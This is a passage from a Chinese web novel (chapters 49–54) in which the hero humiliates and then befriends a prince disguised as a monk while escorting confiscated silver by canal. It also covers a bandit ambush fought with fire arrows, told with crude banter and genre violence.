随后他拉着宝琴坐在了自己身边,薛蝌看了一眼,笑着出去了。 这就很好,自己这妹妹本也是庶女,原本自己父亲趁梅翰林一家落魄时,与其约了亲,不成想梅家近年得了势,就断了来往。 现在能得李素爱护,未来总有一番造化。 李素随后在杨间耳边低声道:“老哥,我知道你心里有意见,挨了亲家的骂,但你得信我,这一路无事便罢,若是有事万死难逃其咎。” 杨间眼睛一瞪:“谁敢骂我?就他钟彪?我借他八个胆子,大不了我儿子另娶……” “我他娘的就要顶楼,知道爷爷是谁吗?信不信爷爷一把火烧了你这破楼子!” 杨间话音未落,外面传来喝骂声,打砸声! 第49章 又一个秃子 自己一分银子未入,倒欠了亲家十万的杨间正堵得难受。 听到外面这话,噌的站起身,拎刀就往外走。 “辣块妈妈的,哪里来的阿猫阿狗,也敢称爷爷了,今天要拿不出十万两银子,就他娘的去河里喂鱼吧。” 杨间骂骂咧咧,伴着一阵咚咚踩楼梯的声音,带人就冲了下去。 宝琴见状,有点儿担心薛蝌,于是看向了李素:“大兄,你不去看看?” “不必!” 见宝琴不解,他解释了起来:“如果你哥哥解决不了的,他会来找我商议。如果杨都督解决不了的,我也解决不了,下去更没用。” 宝琴心中明了,却仍有些忧虑,静心聆听着门外的声响,不时望着门口。 不一会儿,只听脚步声传来,随后薛蝌跌跌撞撞跑了起来,只见他面色有些难看。 李素立刻明白,出事儿了! 他立刻站了起纵身过去,一把扶住薛蝌,沉声道:“别慌!慢慢说。” 薛蝌定了定神:“楼,楼下来了个和尚,带着四个人闹事儿,杨都督带人下去就要打人,对方见杨都督人多又是官兵,顿时就脱了外衣。” “脱衣?继续说!”李素皱眉,宝琴也奇怪。 “对方四个随从脱了外衣,里面穿的是黄色里衬夹衣,杨都督见状立刻就跪了。” “黄马褂?皇家侍卫?宫里的?” 李素心说,这不应该是清朝的么? 现在建奴还在关外呢,怎么黄马褂先乱入了? “现在呢?” “现在他们把杨都督捆了起来!” 这不行,老杨不能出事儿! “宝琴,把你的手绢儿给我。”李素伸手。 “啊,喔。” 宝琴刚从袖子里抽出来,就被李素薅在了手里,定睛一看,粉的? 随后,他也顾不得纠结颜色,直接往脸上一扎,很好,虽然有些朦胧,但还是能大致看清楚外面。 “你们还能看见我的眼睛么?” 薛蝌和薛宝琴摇头,愣愣的看着他,不知道他要做什么。 “薛兄弟,你这样。” 随后李素凑在薛蝌耳边嘀咕了几句,随后只见他走到窗边,一搭手就跃出了窗外。 薛蝌面色变了变,甩下一句:“妹妹安坐。”忙着就跑下了楼。 一楼大厅里,年轻的和尚,身后站着四个穿黄马褂的大汉,杨间带着自己的四个兵面色难看的跪在和尚面前。 和尚一脚踩着凳子,一边伸手拍打着杨间的脸:“喔喔喔!你敢让我叫你爷爷?老子现在就叫,你答应一下试试?你要是不答应,你就是婊子养的!” “爷爷!爷爷!爷爷!你倒是应一声儿啊,应啊!” 和尚边叫嚣,边捏住了杨间的脸皮,用力撕扯。 杨间黑着脸不说话,任这和尚弄。 “喔喔呵!爷爷既然不应,那嘴巴就别要了吧。”和尚拿抽出了杨间的佩刀。随后用刀尖指向了杨间的嘴巴,他接着继续叫道:“爷爷!爷爷!你倒是应啊!” “秃孙子,爷爷来了!爷爷看不见,孙子在哪啊?让爷爷摸摸你的狗头在否?” 众人往门口看去,只见一人忽然进门,手里拄着个黑色的棍子,粉布蒙眼,看起来还是绸子面儿的。 “大胆!” 四个穿黄马褂的侍卫,闻言二目圆睁,就要动手,但这蒙眼人却先动手了。 只瞧他忽地向前一冲,“砰”地撞开那两人,趁着两名侍卫往后退的当口,黑色棍子如闪电般迅速击出,“啪”地打在两人肋下。 两名侍卫眨眼间就倒在了地上,蜷成一团直抽搐惨叫。 后面两名侍卫大怒,随后同时出拳,但蒙眼人未等他们的拳打出来,黑棍就已经先后击打在了他们腕内位置。 说时迟那时快,两个侍卫刚想缩手,他就松开黑棍,如闪电般抓住二人手腕,轻轻一扭,二人的手臂就像麻花一样反了过去,疼得他们嗷嗷直叫,躬身倒地,接着又被他一脚踢飞。 这两名侍卫也随之倒下,抱腿抽搐哀嚎。 但这还不是让众人最吃惊的,最不可思议的是,随后又不知从哪窜过来了四个蒙眼的瞎子,摁住了四人,也不打他们。 而是在,给他们穿衣裳! 没错,就是穿衣裳! 把他们脱掉的外衣,捡了来后,又给这四人套了上去,套完之后还不算完,拿绳子在这侍卫衣裳外面,结结实实的套了无数个圈儿。 电光石火间,就完成了这一切,和尚惊得下巴都快掉下来了,手里的刀也“咕咚”的一声掉在了地上。 而杨间也目瞪口呆的看着李素的操作,好像看明白了他要做什么,不由得大急。 但事情还没完,只见这一切完成后,蒙眼人扯掉了自己眼睛上的绸布,凶狠的看向四周:“我就跟妹妹玩儿个捉迷藏?刚才谁特么撞我?” “和尚,是不是你?” 和尚正要说话,杨间开口了:“妙言!这是……” “你敢说话,我杀你全家!”这和尚凶狠的看向杨间,拦住他的话头。随后他又看向了自己的四个侍卫:“还有你们!” 李素闻言,眼睛眯了眯。 和尚继续看着李素道:“是我撞的你,不光是我撞的你,你刚才还当我爷爷了,喔喔喔,真他娘的好啊!” 说着和尚就开始解腰带,脱外袍。 但是李素哪会给他机会,大喝一声:“我乃道门小师叔,佛道不两立,生来就杀僧,今日起贫道要灭佛!” 带鞘的大黑剑,瞬间就戳在了和尚手腕儿上,随后另一只手的手腕儿也被抽了一下。 只听和尚惨叫一声,哆嗦着两条胳膊,疼的他身子胡乱摇摆,眼泪哗啦啦的往下流。 李素随后对杨间喊道:“杨都督快回船,此贼来的蹊跷,定是觊觎朝廷军机,我来除此贼报与钦差大人。” 杨间闻言,心里万分不是滋味儿,李素这话,不光把他前面冒犯四皇子的罪过给抹掉了,同时后面的事儿,他也从自己手里接了过去。 他想到这里,心里开始挣扎起来。 “你快滚,别忘了,你欠老子一个大人情。” 杨间听李素催他,于是带着人,头也不回的匆匆去了。 随后李素一脚踹在和尚胸口,和尚倒地的瞬间,抽出大黑剑抵在了和尚脖子上,冷哼一声:“无论道爷杀和尚,还是钦命杀不轨贼人,这一剑老子都刺的下去,你信是不信?赌一把啊,和尚!” 和尚笑了,随后大笑。 “哈…哈哈,你……你敢杀我……哈…你以为蒙上了黄马褂老子就是匪了,哎呦我的娘唉,哪来的蠢货?来杀啊…哈……” 和尚一手撑地,笑的眼泪都出来了,身子不停的抖动,哆嗦着手指着李素。 “老子……喔喔喔……快杀…嘎嘎嘎……操你娘的快杀啊…” 李素大怒:“我操你娘!” 第50章 滇王癫王 “把这秃子,给老子绑起来!” “绑,来,绑老子!”和尚癫狂的吼道。 四个巡捕营的好汉冲过来,抓住这和尚,搂肩头摁后背拿绳子就套。 李素一指大厅里的柱子:“绑这上头,老子今天要给这秃子放血。” 随后李素对门口不时往里张望看热闹的人喊道:“都特么滚进来看!老子今天怎么给杀和尚,杀这个窥探朝廷机密贼和尚!” 码头上从不缺看热闹不嫌事儿大的,乌泱泱就进了大厅,一脸兴奋的等着看杀人。 “来,啊,杀老子,嘎嘎嘎,杀!”被绑在柱子上的和尚怒吼。 被绑住的侍卫再不敢听和尚的封口令了,随即挣扎嘶吼起来:“大胆,这是四皇子,滇王殿下啊,快快放人,否则诛九族!” 围观的人群顿时哗然,一时间,嗡嗡议论之声不绝。 李素放声大笑:“哈哈哈,骗到老子头上来了,哪家的皇子会是个和尚?冒充皇子,罪该碎尸万段!” 和尚再次大笑:“对,对,对老子就是个和尚,你杀,快点儿,不杀我就是你养的。” 李素深深的看了他一眼,嘿嘿一笑:“老子一个道士养和尚,你是让老子叛教么,今天老子就表演一个飞刀杀僧!” 说着他就把粉色的手绢,又掏出来蒙上了双眼。 “刺刀给我!” 四个随从,用力把枪头上的刀拔了出来,随后递在了李素的手里。 蒙着眼的李素接过来也不废话,直接对着柱子上的和尚就甩了过去,只见硕大的刺刀快如闪电,嗖的一声直奔和尚,和尚见状吓得眼睛一闭。 没来得及有任何反应,只听“咚”的一个沉重的闷声响起,刺刀直接钉在了和尚耳边,深入柱子,耳边传来冰冷刀刃触感,让和尚不由得心脏直抽抽。 他死咬着牙不让自己发出声来,眼睛瞪圆了看着李素。 四个侍卫则两眼一翻,直接吓晕了过去。 围观的众人顿时一阵哗然,不由得后退! “扎中么?” “禀报小爷,没有!” “再来!” 又一把刺刀递到了李素的手上,李素拿着刺刀对着前方的和尚比划,忽然一甩手,只见和尚吓得两眼一闭。 但没有声音,睁眼一看,只见蒙眼的李素还在比划。 和尚的心看着李素的手就开始上下的晃悠,不一会儿李素还是没有甩出来,和尚实在受不了了,感觉自己的心脏都快跳出嗓子眼儿了。 “停!老子认栽了!” 就在他大喊的一瞬间,只见李素的刺刀骤然出手,嗖的一声直奔和尚,和尚只觉头皮一凉,刺刀贴着他的头皮就扎进了柱子里。 和尚双腿吓的双腿一软,身子顺着柱子就往下出溜,同时嘶喊到:“老子认栽了,认栽了啊!” 他眼泪都快洒出来了。 “认栽了?”李素搓搓手,随从又递过来一把刺刀。 和尚咬牙点头:“认栽了!” “不当爷爷了?” 和尚怂到底:“不当了!谁再当谁是孙子!” “说说你到底是谁?” 李素拿着飞刀继续对他比划。 和尚目光猛缩,开口急道:“一个和尚,一个搞诈骗的和尚。” “今日是第一次行骗?” “是!” 李素一把扯掉粉色的眼罩,随即大笑起来:“哎呀,佛本是道,只要你还没为恶,改邪归正,我们就是一家人,一家人就是兄弟嘛。” 随后他走到和尚身边,用刺刀一划,绳子脱落,随后扶住了就要秃噜到地上的和尚。 一脸关心的问道:“兄弟,你没事儿吧?” 和尚喘着粗气,没说话,冲着李素一挑大拇指。 李素转身骂道:“看你们这些王八蛋,把我兄弟吓成什么样了?” 随后他给面色发白的薛蝌使了个眼色,抱住了和尚的肩膀说道:“走,跟哥哥上楼,哥哥给你压惊。” 和尚瞪眼:“我不!” 但被李素抱住了肩膀,就像似被铁笼箍一般,哪里挣脱的了,于是被半拖半拽的弄上了楼。 而薛蝌此时对看热闹的人,行了一礼:“各位,小店这乱七八糟的也招待不了客人,今日就打烊了。” 围观众人纷纷散去,薛蝌就安排人把店门关了起来。 和尚被李素摁坐在三楼包厢的椅子上,随后不管他,掏出了手绢递给宝琴:“妹妹,你的手绢儿。” 宝琴正要接,被和尚一把抢了过去,往自己的眼睛上一蒙,左右看了看。 随后把手绢儿扔给李素,扶着桌子就大笑了起来:“哈哈哈…嘎嘎嘎…哈…哎呦,你他娘的真行,真不要脸啊。” 李素把手绢儿接过来,在宝钗诧异的目光中,三下五除二撕了个粉碎,往窗外一扬对宝琴道:“妹妹,脏了,咱不要了。” 接着道:“这个秃子脑子坏了,你不用在意他。” 和尚伸手指了指李素,摇摇头。 “你,唉,嘎嘎,比老子还不要脸,快弄点儿吃的,饿死我了。” 李素给他倒了盏茶,放到他面前,盯着他的秃头道:“都是道友,大鱼大肉管够,你先说说,你跑到彭城这鸟不拉屎的地方来做什么?还变成秃瓢了?” 和尚一口把茶灌到嘴里,听到李素说的话,差点儿又喷出来:“哈哈,嘎嘎,鸟不拉屎……嘎…哎呦我的娘亲,笑死老子了。” 李素诧异,秃子笑点这么低? 随后他对宝琴道:“他指定有点儿什么大病。” 宝琴抿嘴儿笑。 和尚终于平复下来:“你不知道彭城被称为天赐之城?” “这是何意?” “本朝龙兴之地啊,你竟然不知道?” 李素傻眼儿,未入朝堂的他,只知道本朝跟老朱家一样是从淮西起兵,还以为当朝皇家跟老朱一样是安徽老乡呢。 搞了半天,跟老刘是老乡。 一城出两家皇朝,确实能被称作天赐。 李素一拍桌子,大声道:“我当然知道,如此天赐之城,哪个鸟敢来拉屎?” “行了,我知道你不要脸了,想不到林如海如此方正君子,收了你这么个……” 李素眼睛一瞪:“好好,说话,不然揍你啊!” 和尚连连摆手:“好好好,老子打不过你,老子是来老家庙里,代父皇出家祈福的,昨日满一年,今天就要回京复命,没想道遇见你这么个…呃……道友。” 李素收起在和尚眼前晃悠的拳头。 随后低声道:“你别说了,我啥也没听见,我也不知道你是谁的儿子,谁是你爹,你也别想让我给你当孙子下跪,但是眼前有一大功,你想不想拿?” 和尚撇撇嘴:“别神秘兮兮的,看你小子模样就知有阴谋,另外你听不听老子都是四皇子,滇王李元亨!” 宝琴在一侧听到是个王爷,不由大惊,同时心下暗道果然有些癫。 而李元亨见李素捂耳朵,眼珠儿一转,小声道:“什么大功?说来听听?” 李素放下手就笑了。 李元亨再次撇嘴斜视:“不要脸!还装听不见。” 第51章 皇后嫡出 “我船上装了从扬州抄家抄来的五百万两银子,你知道吧?” “什么?五百万?!!……嗝…” 李元亨眼珠子都快瞪出来了,嘴巴张得能塞下一个鸡蛋,惊得嗓子里咯咯咯直响,差点儿一个跟头栽倒在地。 “…你…你给老子再说一遍!”他红着眼睛,伸手去拽李素的衣裳。 李素一把打开他的手,嫌弃道:“看你那没见识的样子。” “你,你知道个屁!我父皇、我母后,这些年过的是什么日子……呜呜呜,连吃个鸡每顿都只吃半只,嘿,五百万……嘎嘎嘎,娘唉,那是多少银子啊,对了你刚才骂我娘什么来着……嘎嘎嘎…” 李元亨此时更像个疯子一样,说话颠颠倒倒。 这个神经病是皇后嫡出? 李素正色道:“我没骂过你娘!” “你骂了!” “我没骂!” “我骂什么了?” “你说你操……呸!李素,这五百万两你给我!我叫你爹都行。”李元亨满脸渴望的看着李素。 “你?你觉得可能吗?” 李元亨连忙晃脑袋:“不,不,你搞错了,我是说你把这银子送到内帑,我父皇的内帑,不要交给户部那些龟孙子。” “可以倒是可以,但你要帮我办一件事儿。” “你说!老子认你当干儿子都行……嘎嘎嘎…”李元亨说完这句话,不知道想起了什么,笑的身子直哆嗦,眼角的泪花儿都出来。 李素可怜的看着这个神经病。 李元亨笑的停了下来,看见李素的目光,顿时不干了。 “你这是什么眼神?” “你猜!” “我猜…屁,你说要老子干啥吧。”李元亨想起了正事儿。 李素招招手:“附耳过来!” 李元亨把耳朵凑过去,开始点头,后来一拨愣脑袋:“吴家?不,不,老子不干!” 李素两手一摊:“那我就把银子送户部了。” 他不可思议的看着李素:“不是,你是真不知道?先不说吴老太妃,就说我二嫂,呃……也就是小吴王妃,那就是个泼妇啊,疯子你见过没?要是被她盯上,老子就得掉三层皮啊,不干,不干。” 脑袋继续晃了起来。 “真不干?” 李元亨听到李素这话,又迟疑起来,一边儿是尽孝,一边儿是得罪两个不是正常人的娘们儿,他可是抓头皮。 他突然抬起头来,恶狠狠的看着李素:“对了,你必须听老子的!你刚才揍我了?殴打皇子!殴打皇家侍卫,罪同谋反!” 他话音刚落,只见李素走到他身边,一把摁住了他的肩膀,扭住了一条胳膊。 “你要作甚?我……你…”猛的用力挣脱,没用! 他面色憋得通红,李素是双倍力气,尤其一加一更是大于二,他哪能挣的脱? 李素另一只手像抓小鸡一样抓住了他的脚踝,然后就像扔沙包一样把他往窗外甩去。只听“嗖”的一声,他那颗锃亮的大光头就像炮弹一样被甩出了窗子,头朝下脚朝上,被李素紧紧抓住脚踝,像个大蝙蝠一样倒挂在了窗外。 李元亨吓得面色苍白,双手胡乱的抓挠。 随后就听李素开口大骂:“我他娘的就打了个和尚跟几个闹事儿的土匪,什么黄马褂?码头上那么多人都没看见,你还敢诬陷老子?” “李素…我错了,把老子弄…弄回去,老子…我不该威胁你,我就是…个和尚。” 李素撇撇嘴,把他拉了回来,随手甩到了椅子上。 只见他胸口剧烈的起伏着,面色苍白,嘴唇哆嗦着,拿起茶壶猛往嘴里灌! “你这是怎么了?” 李元亨把茶壶扔到桌上,然后用袖子胡乱擦了嘴,平了平气息,没好气的甩了一句。 “老子畏高!” “哈哈哈哈……” 李元亨面色挂不住了,竟然有些羞红,恼道:“笑你娘!事儿老子干了,你快点弄吃的来,饿死老子了。” “哈哈哈,薛兄弟,快上菜,和尚都快饿成秃驴了。” 薛蝌很快招呼人,端着菜就上来了,摆了满满一桌子。 李元亨眼睛一亮:“火锅儿?这个好,这天儿就应该吃它。”随后拿起筷子甩开嘴巴就吃了起来。 怎么说呢,就好像猪八戒进了咸菜铺儿,唏哩呼噜的哪里有皇子的模样儿。 李素吃了一口宝琴给他涮好的肉,叹了一句:“你是皇上遗留在民间的种儿吧?” “一年不吃肉,你试试?” 李元亨头也不抬,怼了他一句。 吃了半途,终于差不多了,他长吁了一口气:“舒坦!” 打眼就看到薛宝琴在伺候李素吃饭,俩人眉来眼去的,气的他一甩筷子:“娘的,不吃了,搞得好像你才是个王爷!” 随后站起身子就走。 李素一怔:“你去哪儿?” “给我二嫂压船去!奶奶的,老子信了你的邪!” 说完,李元亨头也不回的下楼去了。 随后薛蝌进门儿坐下,此刻他才把心放了下来,今日被这么个王爷给砸场子,把他惊的够呛,倒不怕砸楼子,就怕害命。 破家县令,灭门府尹,何况是个皇子?这皇子看起来又不是太正常。 李素安慰他:“薛兄弟,以后但凡遇到官府中人,东西无所谓,只要人没事儿,场子早晚找回来。” 薛蝌点了点头,随后问道:“大兄,你叫到彭城来,不只跟你们见一面吧?” 李素点头道:“有要事!” “大兄请说。” 而李元亨下了楼,见自己的四个侍卫满面油光,正在大厅坐着等他,每个人身边一个新的包裹。 “王爷!”侍卫见他下楼,赶紧行礼。 “给了多少?” “一人一千两,嘿!” “还行!”李元亨摸了摸下巴。 随后他想起了什么,怒道:“你把外面的狗屁袍子给老子脱了,黄马褂给老子露出来,谁特娘的再装孙子,就是孙子。” 四个侍卫闻言,立刻脱掉了外袍,李元亨一把给他们抢了过来,抽出他们腰间的佩刀,对着袍子就剁了下去。 直到全部破破烂烂了,他才笑了起来,把刀一扔:“哈哈…哈…嘎嘎…走,上我二嫂…的船。” 随后把自己的外袍也甩手扔掉,露出了里面王服。 一只麒麟在上,张牙舞爪。 皇宫里,午后醒来的白后,艳丽端方,妙目流转。 左右看了看空荡荡的寝宫,叹了口气。随后拿起手边的信,又看了看,喃喃道:“小四要回来哩。” 李元亨,是她唯一的亲儿子。 第52章 战火忽起 一日后,船队启程。 船队过了济宁府,没有任何状况。 随后到达峄县,钟彪的人马已经到了,双方碰了个面后,杨间强迫钟彪继续沿途秘密护送。 没办法,他又欠了李素一个大人情,只能豁出老脸求亲家。 过东昌府,依然没有发生任何事,但李素已经在码头上发现了众多社会人儿,气息与普通人明显不同,天天带着盐帮好汉训练的李素很熟悉。 “素哥儿,不太对劲儿,怎么这么多绿林道上的绺子?” 李素摸了摸下巴上不存在的胡子:“这是闻着腥味儿了,看来是有人把他们给鼓动了。” “要不要?” 飞狐面露凶光,在脖子上比划了一下。 “别动,往下瞧吧。” 如此过了峄县,依然没有动静。 德州,还是没有动静! 看着前方的沧州码头。 杨间说道:“等过了沧州,就进入天津,属于京畿重地了,是不是咱们白担心了?是不是可以让钟彪回去了?” 这十来天,钟彪可把他给折腾的够呛,几乎每日都会来嘲讽他一遍。 他都快疯了! 李素皱眉:“越在此时越不能放松,咱们在沧州码头别停了,直接过去!” “好。” 杨间正要下令,就听沧州码头一阵锣鼓声响起,接着就从四面八方涌来了无数船只,把水道挡了个结结实实。 李素和杨间对视一眼,担心的事儿终于发生了,有状况! 于是船队开始减速。 就在他们减速的同时,附近的一艘大船上传来了叫嚣声,辱骂声。 只见滇王李元亨,在吴家大船上跳脚大骂! “狗日的!怎么占了老子的水道?给老子撞开,撞开!放火烧了他们这些砸碎……嘎嘎…对烧他狗娘养的!” 但吴家人怎肯听他的? 水道上那么多船,根本撞不开,他们也不敢放火,这么多船挤在一起,又是北风,一把火下去,自己也跑不掉。 吴家胖子忙不迭的在一旁解释,被李元亨一脚踹倒在地,继续大骂:“我呸!还吴家,我看就是胆小如鼠,插这些破旗子还不够给我二嫂丢人,来人把这些破旗子给老子拔了!” 很快在四名皇家侍卫的逼迫下,吴家大船上的旗子被拔掉了! 李素见状,一摆手,一艘小船快速接近吴家大船,随后一盆液体泼向了对方的船体。 小船随后转向,消失在了众船云集的水道中。 随后前方码头传来消息,河道疏通,暂时无法通行! 码头上顿时热闹了起来,一片谩骂声,尤其对于商家来说,成本都是算计好的,晚一天成本就增加一天,薄利行业很有可能就白折腾。 李素跟杨间对视一眼,随后吩咐下去,都不许下船! …… 京城北镇抚司,飞鱼卫的总衙门。 几个千户总旗在侯事厅喝茶打屁。 “也不知道谁捅了土匪窝子,山东、河南的黑道上最近热闹的很,到处乱窜。” “我也听说了,南边江苏的老童回来也说那边的也在跳腾。” 突然一个声音插了进来。 “你们几个说的,可有细情?” 几人纷纷站起来躬身行礼:“路佥事,咱们哪有细情?” 指挥佥事路不平,摆摆手:“谁知道细情?” 一名千户讪笑回道:“路佥事,咱们也不管土匪的事儿啊,那是州府衙门的粉头儿。” 其他几人跟着附和。 “哈哈哈……对,咱是查官儿的嘛,谁在意几个截道儿的。” 路不平没有在意他们的态度,继续问:“这么说,那些个土匪异动是真的?” “属实!” 路不平不再废话,转身就走。 几人看着路不平跛脚而去,撇撇嘴。 心说,管好你的训练和司务得了,一个瘸子还关心起情报了 而路不平此时却是心潮澎湃,自己的机会来了,最近五百万赃银自扬州起运,南北绿林道定是闻风而动,若说这其中没有关联,自己就敢打折三条腿! 他越过了自己的上级江同知,直奔指挥使夏方的公房而去。 是夜,李素跟杨间都没睡好。 紧张了一晚上也没有什么意外,同样骂娘的是钟彪,他见河道突然受阻,格外的警醒,在运河两岸钻了一夜的树林子,也没有什么动静。 一直到了第二日,傍晚时分,码头的封锁忽然开了。 一时间众舟争渡! 杨间看了看自己身后那密密麻麻,待往前冲的船只,转头对李素道:“妙言,咱们也得走,不然挨撞,躲不开!” “那就走!” 随后他们就开动了。 李元亨见状,在甲板上跳脚嚷道:“跟上前面军头 儿的船,给老子怼上去。” “踢他们屁股……哈哈…嘎嘎。” 他被自己话给逗笑了,在甲方上乐的直打跌! 吴家的众人哭丧着脸,命令开船。 谁也没注意到李元亨眼中的冷静,还有一丝疯狂。 随着前行,天光越来越暗,船上点燃了夜灯,放眼望去如点点萤火,绵延数里蔚为壮观。 因船只大小不一,水手多寡,导致船速不同,逐渐这些船只开始拉开距离,李素眼见周围的船只稀疏起来。 回望后方,只有李元亨压着的吴家船只,紧紧的辍在后面。 “赶紧轮番吃饭!”李素吩咐一声。 就在此时,只见前方对向一条大船忽然朝着己方船队撞来! 因为对方顺风,满帆,速度异常的快! 李素和杨间心神一紧:来了! 随后杨间大喝一声发令:“转舵,右突!船工下旗,上水皮!弓手抛射,上火!” 但见江南大营的船上,士兵们已然严阵以待,未等来船靠近,便即刻挽弓搭箭,激射而出!只闻阵阵嗖嗖之声,那是弓箭刺破空气之声,亦有弓弦震颤之声。 须臾,火箭射出,抛飞的火箭纷纷坠向来船,于这黑夜的运河上,蔚为大观。 “船上无人!”李素看的清楚。 此时后方突然无数中小船只快速接近,而与此同时岸边的密林中,响起了一阵呼啸之声,随后就见火箭飞射而来。 前后左右皆敌! 李素大黑剑舞起,打掉几支射来的箭,随后嘶吼道:“飞狐,击鼓传讯!” 李元亨愣愣的看着前方突然起了战火,愣了一会儿,莫名其妙哈哈大笑起来。 第53章 贼匪覆灭 吴家众人可不管看热闹的滇王,急忙指挥躲避战火。 驶向了对向河道。 “别太远了,你奶奶的,老子要看热闹。” 李元亨头也不回,目光灼灼的盯着河面上的战场,手舞足蹈。 “咚咚……” 密集的鼓声响起。 贼船后方一群正在行进的大小舟船,骤然转向冲着贼船冲去。 领头的船上一个身形两米的大汉,赫然就是李素被紧急安排,秘密跟随的历虎。 他带着巡捕营剩余的好汉,憋了一路,就等这一刻了。 “射他们狗娘养的!” 历虎嘶吼的同时,抄起手中的火油罐猛往对方船上砸,接着燃火的箭矢也往贼船飞去。 历虎大笑。 “哈哈哈,捅他们腚眼儿!” 杨间见状大喜。 “他们腚眼儿被操了,给老子杀!” 李素与杨间不断躲避箭矢,指挥兵卒反击后方贼船。 贼船此时开始慌乱起来,自鼓声一起,瞬间从伏兵变成了被前后夹击的鱼肉。 但李素跟杨间也不轻松,两岸密林中的箭矢射出,不断有兵卒中箭倒地,船上也起了火。 双方一时焦灼起来。 “不要管岸上,躲避箭矢,全力打后面的船!” 杨间传出命令,同时对着岸上大吼一声:“钟彪,我操你奶奶!” 就在此时,只听得“砰”地一声巨响。 紧接着便是一阵天摇地动般的猛烈撞击,整个船身剧烈颤抖。 尽管舵向右打满,但终究还是未能完全避开那艘从对面疾驰而来的空船。随着令人胆战心惊的碰撞声响起,左侧的船体如同遭受重锤轰击,瞬间凹陷进去一大块。 而身处船上的李素和杨间更是猝不及防,被这突如其来的巨大冲击力猛地抛起,两人重重地摔落在甲板之上,并与周围惊慌失措的兵卒们一同滚落成一团。 勉力站起的李素和杨间此时没有沮丧,反而松了一口气,这一撞,最大的危机过去了! 李素吐了一口唾沫:“灭火!加速!” “老子要去干他们!” 杨间看着自己兵,不断中箭落水,眼睛都红了! 李素薅住他的领子大骂:“你是傻逼吗?他们直接不要命再撞,你怎么办?这些杂碎交给老子的巡捕营吧。” 杨间向后看,只见贼船尽管被巡捕营打的狼狈不堪,但还是死咬着自己这五艘大船不放。 没错,在贼船的眼里,他们才是美食,他们就是五百万两银子,神经病才跟后边的一帮伏兵死拼! 加速!加速! 五百万就在眼前! 这时两岸林中惨叫连连,火光闪烁,射来的箭矢也消失不见,随后一个声音大骂:“杨二狗,我操你奶奶!” 钟彪终于建功,岸上的贼兵完蛋了。 随后两岸箭矢再起,这次射向了后方的贼船! 一时间,攻守易势。 上百艘贼船如同瓮中之鳖般被前后左右四方攻击,一如之前李素他们的遭遇。 刹那之间,熊熊燃烧着的火箭,如暴雨一般从四面八方铺天盖地地砸向他们。 那些原本还气势汹汹、企图前冲的贼船,此刻在这密集而又猛烈的攻击之下,瞬间陷入了一片火海之中。 大部分已经起火的贼船上,火苗肆意蔓延,浓烟滚滚升腾而起,将整个天空都染成了一片昏黑之色。 伴随着火势的不断加剧,一声声凄厉至极的惨叫从这些贼船上源源不断地传出。 李素见战局已定,冲着岸上大吼一声。 “钟都督拿贼,我们去也!” 杨间不干了,眼见大胜,正是报仇的时候,再说怎么能把功劳都让给姓钟的?以后自己哪里还有脸跟他见面? “不行!” “杨都督,听我的,趁这时间我们快走,一刻不停,直入京师,你没看出来吗?这一波人就是土匪,不值得我们浪费时间,银子到京才是你最大的功劳!” 杨间不甘心的望了一眼,冲着岸上喊了一嗓子:“钟彪,你记好了,这功劳有老子你一半!不对,这功劳是老子送你的,哈哈哈!” 钟彪听到杨间的喊话,没搭理他,长刀一举:“杀贼、破敌、发财就在此时!” 泰山卫的兵卒闻言,齐呼:“杀贼,发财!” 更加密集的箭矢飞向了贼船。 而杨间听到后,表情愤愤,随后大吼一声发令:“加速!” 五艘大船顿时响起船工呼喝声,速度再涨,加速离开了战场。 吴家的船上,李元亨咂摸了一下嘴巴,骂了一句:“娘的,跟上!”随后一脚踹倒了吴家的大胖子:“你他娘的哭丧着脸,给谁看呢?” 胖子费力爬起来,满脸堆笑:“王爷,小人天生哭脸。” “滚,老子只听过苦脸,你真 他娘长的真奇怪!你爹射你的时候吃苦瓜了?哈哈哈…嘎嘎,老子真有才!嘎嘎。” 李元亨又笑了起来,越笑眼睛越亮! 随着不断远离,杨间指挥灭火、开始统计伤亡、修补船只。 不远处的一座低矮的山头上。 三名骑士立在马上看着李素他们的大船离去。 其中一名骑士开口道:“将军……” “啪!” 话刚开头就挨了一鞭子,骑士慌不敢喊痛,忙改口:“大当家,这些贼除了船开的还不错,其他的一无是处。” 大当家斜了他一眼:“呵,你以为操船的是他们?” “那是谁?” “这不是你能操心的,一帮贼而已,还是散沙,这打的已经不错了,你还不如人家呢。” “嘿嘿,是,这时间推迟了一天,是为了等这些贼么?” 大当家疑惑的摇了摇头,接着沉声道:“接下来,该咱们唱戏了,记住,盯着夜中船舷上有荧光的船,杀人,杀人,杀尽那一船人,其他一概不理!” “是!” “走!” 三人调转马头就下了山坡。 甲板上,李素身子扶着船舷,身子向下探望,都快钻水里去了。 忽感自己的屁股被拍了一下,赶紧起身,见是杨间一脸难看的站在自己身后。 “看什么呢?” “看美人,这样的夜晚如果有个小娘,突然从河里蹦出来,给你唱个小曲儿,那感觉,美滴很。” 李素一边扯淡,心里一边嘀咕,这不是巧了么? 吴家故意撞自己的船,趁乱偷偷泼了一盆萤石粉在自己船上,现在竟然被贼船撞了个洞,发光的一块板,竟然就给撞碎了去。 后来自己又偷偷泼了一盆在吴家船上,本意是混淆视听,让李元亨代自己,来个真假李素。 而现在自己的船没光了,那李元亨不会有危险吧? 不会吧? 第54章 攻击又至 “呸!你要是想要小娘,会让薛姑娘跟他哥哥走?” 杨间呸了他一口。 李素正色道:“你别乱说,那是我妹妹。” “切!谁家哥哥会偷亲妹妹?” 李素气的一指他的鼻子:“杨间!你别乱说!我没有,再乱说,回头把你闺女打哭!” 杨间叹了口气,没再说话手扶船舷,看向前方。 此时夜已深,河面上来往船只稀疏,视野里只有不时三两灯火闪现,就着一旁的灯笼光线,李素瞧了他两眼:“怎么?哭着个脸?当初令尊奋力一击之时吃苦瓜了?” 杨间显然没听懂,回身道:“唉,咱们大营,水战还是经历不足,就这么一战,死了四百多,伤亡四百多,两千兵卒折损过半。” “老杨,这很正常,这又不是短兵拼杀,这对射的水战打法,看谁躲的好,射的快。” 杨间摇摇头。 “你说的是这个理儿,但若是再来一拨?!” 李素赶紧捂住了他的嘴:“乌鸦嘴!你他娘的千万别再往下说了。” 说罢紧张的四望,见河面上静悄悄,没有什么异常,身后吴家的船还在紧紧的跟着。 李素松了口气:“加把油,咱们很快就能过天津码头了,优势在我,我去看看伤兵,老子给你展示一把华佗在世。” “你还会医术?” 李素拉着杨间往底舱走:“是道术,孙思邈知道吧,那是我师父。” “你不是说,你是华佗在世吗?” “不重要,你知道孙思邈的道号吗?妙应,你看我们都姓妙。” 杨间一路跟着李素到了底舱:“你们道家可真够乱的。” 